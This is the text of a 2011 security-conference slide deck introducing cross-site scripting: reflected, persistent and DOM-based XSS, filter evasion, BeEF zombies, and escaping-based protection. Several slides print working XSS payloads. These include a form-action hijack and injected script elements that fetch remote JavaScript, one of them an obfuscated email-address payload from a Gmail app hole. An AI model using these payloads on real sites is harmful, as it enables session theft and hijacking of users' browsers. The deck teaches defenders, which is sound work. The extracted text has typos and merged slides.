Cross Site Scripting for Dummies
genda
o What is XSS
o XSS from simple to complex
Simple
Advanced
IDS evasion
Stealing data from servers
Creating zombies
o 15 demos, live or recreated
o Protection
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 2
What is cross site scripting ?
o No 2 on the OWASP top 10 list
o XSS is a special case of injection
Injection into a Web page
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 3
Inection attacks
o If an application accepts inputs from the user
and
o If that application uses these inputs in a specific context
then
o The inputs can have special effects
o For XSS, the context is the web page
Html code
Javascript code
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 4
Examples: HTML
o Ford motors
o The daily express
o HEIG-VD...
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 5
Examples: Javascript
o Run scripts from other sites: NYSE
o Stealing cookies
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 6
Reflexive vs Persistent
o If the attack is coded in the URL, we have to trick the
victim into clicking on a link
The server will reflect the attack back to the victim
o If we can store the attack on the web site, it will be
persistent.
Typical example: guestbook, forums, comments
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 7
Example: persistent XSS
o La-nai CMS
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 8
DOM based XSS
o In DOM based XSS, it is not the web server that inserts the
malicious data into the document, but the document itself!
pos=document.URL.indexOf("name=")+5;
docuemnt.write(
document.URL.substring(pos,document.URL.length) );
o If a name anchor (#) is used, the server will not see the attack
o If the file local, the attack will execute with hi privileges,
without a server
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 9
IDS Evasion
o Some characters or keywords my be blocked by the
server or a filter
Use encoding:
• Character encoding: %3d, = , ...
• String.fromCharCode(120,115,115)
• Regexp /hello world/ = “hello world "
• Avoid script: <img src=“/“ onerror=alert(“xss”)> o Abuse Javascript frameworks
o Work on the DOM model
SeIDS Evasion
o Abusing the javascript framework
field1=" onclick=“$('form').attr('action', 'http://www.objectif-securite.ch/post')"> <p id=“
o Abusing the DOM model
field1="onclick= var e=document.createElement('scr‘+'ipt'); e.src='http://osq.ch/xss.js‘; document['bo' +'dy'].appendChild(e) "& field2=" onclick=attack() "
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 11
Exploiting the server
o In some cases, the server needs to render the HTML
pages
It will not execute javascript but....
o Using the embed command
Gives access to local files
Allows to do internal scans!
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 12
New sources of XSS
o iPhone and Android apps can make use of HTML, CSS and
JavaScript
o In december, Ben Schmidt, found a hole in the Android Gmail App that allowed to inject javascript into e-mail addresses
It made it possible to sliently forward all the e-mail.
o Email address :
" onload='var f=String.fromCharCode;var d=document; var s=d.createElement(f(83,67,82,73,80,84)); s.src=f(47,47,66,73,84,46,76,89,47,105,51,51,72,100,86);d.getElementsByT agName(f(72,69,65,68))[0].appendChild(s);' "@somedmn.com
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 13
JavaScript Zombies
o What can you do once you can inject Javascript?
o Ex: BeEF: the browser exploitation framework
Key logger
Sends browser exploits
Remote commands the browser to do port scans
o HEIG
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 14
How to protect: it should be easy
o Never trust user inputs
Do the following two things:
o Validation: accept only expected inputs
o Escaping: remove side-effects when using user inputs
print htmlentities($user%input);
print htmlentities(“hello world”);